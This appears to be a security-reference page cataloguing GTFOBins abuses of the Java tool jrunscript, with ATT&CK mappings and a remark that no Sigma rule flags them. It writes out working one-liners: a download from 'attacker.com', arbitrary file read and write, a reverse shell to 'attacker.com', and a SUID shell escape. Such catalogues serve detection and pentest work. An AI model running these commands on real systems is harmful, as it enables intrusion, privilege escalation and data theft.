Identifier / Programs / Linux and Unix
jrunscript
GTFOBins download, file-read, file-write, reverse-shell, shell 2 ATT&CK techniques 5 documented commands
How jrunscript is abused
download T1105 Ingress Tool Transfer
-efile-read
-efile-write
-ereverse-shell T1059.004 Command and Scripting Interpreter: Unix Shell
-eEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for jrunscript.
5 documented commands
download unprivileged, with sudo
jrunscript -e 'cp("http://attacker.com/path/to/input-file","/path/to/output-file")'file-read unprivileged, with sudo
jrunscript -e 'br = new BufferedReader(new java.io.FileReader("/path/to/input-file"));
while ((line = br.readLine()) != null) { print(line); }'file-write unprivileged, with sudo
jrunscript -e 'var fw=new java.io.FileWriter("/path/to/output-file");
fw.write("DATA");
fw.close();'reverse-shell unprivileged, with sudo
jrunscript -e 'var host="attacker.com";
var port=12345;
var p=new java.lang.ProcessBuilder("/bin/sh", "-i").redirectErrorStream(true).start();
var s=new java.net.Socket(host,port);
var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){
while(pi.available()>0)so.write(pi.read());
while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());
so.flush();po.flush();
java.lang.Thread.sleep(50);
try {p.exitValue();break;}catch (e){}};p.destroy();s.close();'shell unprivileged, with sudo, as SUID
jrunscript -e 'exec("/bin/sh -c $@|sh _ echo sh </dev/tty >/dev/tty 2>/dev/tty")'As SUID:
jrunscript -e 'exec("/bin/sh -pc $@|sh${IFS}-p _ echo sh -p </dev/tty >/dev/tty 2>/dev/tty")'None of the 5 commands the identifier reads trips a Sigma process-creation rule. These commands are from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for jrunscript. The identifier reads the line of each that runs jrunscript.